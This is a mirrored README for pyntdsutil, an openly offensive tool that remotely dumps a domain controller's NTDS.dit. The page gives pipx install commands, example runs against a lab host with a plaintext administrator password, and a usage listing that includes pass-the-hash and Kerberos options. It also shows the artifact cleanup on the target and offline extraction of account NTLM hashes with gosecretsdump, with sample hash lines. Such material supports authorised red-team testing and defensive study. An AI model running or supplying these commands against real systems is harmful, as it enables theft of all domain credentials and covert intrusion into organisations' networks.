Giter Club home page Giter Club logo

pyntdsutil's Introduction

pyntdsutil

Dump NTDS.dit remotely with ntdsutil.exe via a modified version of atexec.py.

Installation via pipx

python3 -m pip install pipx && python3 -m pipx ensurepath
python3 -m pipx install git+https://github.com/mrdanielvelez/pyntdsutil

Example Output

# pyntdsutil CRASH.LAB/Administrator:'Welcome1234!'@192.168.40.136      
[*] Connected to 192.168.40.136 as CRASH.LAB\Administrator (Admin!)
[*] Dumping NTDS.dit with ntdsutil.exe
[*] Successfully dumped NTDS.dit
[*] Downloading NTDS.dit, SYSTEM, and SECURITY
[*] Output files to pyntdsutil_2023-10-12_00:17:22
[*] Deleted artifacts on 192.168.40.136

# ls pyntdsutil_2023-10-12_00:17:22
NTDS.dit  SECURITY  SYSTEM

Fast Offline Dump via Gosecretsdump (installed by default via HACKPREP)

# go install github.com/C-Sto/gosecretsdump@latest
.. SNIP ..

# gosecretsdump -enabled -ntds ./NTDS.dit -system ./SYSTEM -out enabled_ntds.dit
gosecretsdump vDEV (@C__Sto)
Writing to file enabled_ntds.dit

# head enabled_ntds.dit -n 5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:392fbe2844cb258735c4cbf449d31709:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:06a8518bcbf6fd969a2c6ac354d2df00:::
CRASH.LAB\employee1:1103:aad3b435b51404eeaad3b435b51404ee:b2af3f82705748459229772ae2ece0f6:::
CRASH.LAB\employee2:1104:aad3b435b51404eeaad3b435b51404ee:b2af3f82705748459229772ae2ece0f6:::
CRASH.LAB\employee3:1105:aad3b435b51404eeaad3b435b51404ee:b2af3f82705748459229772ae2ece0f6:::

Usage

# pyntdsutil -h
usage: pyntdsutil [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                  [-aesKey hex key] [-dc-ip ip address] [-codec CODEC]
                  [-output OUTPUT]
                  target

Dump NTDS.dit remotely with ntdsutil.exe via a modified version of atexec.py.

positional arguments:
  target                [[domain/]username[:password]@]<target name or
                        address>

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              Don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If omitted it
                        will use the domain part (FQDN) specified in the
                        target parameter
  -codec CODEC          Sets encoding used (codec) from the target's output
                        (default "utf-8"). If errors are detected, run
                        chcp.com at the target, map the result with https://do
                        cs.python.org/3/library/codecs.html#standard-encodings
                        and then execute pyntdsutilagain with -codec and the
                        corresponding codec
  -output OUTPUT        Output directory for NTDS dump

pyntdsutil's People

Contributors

mrdanielvelez avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.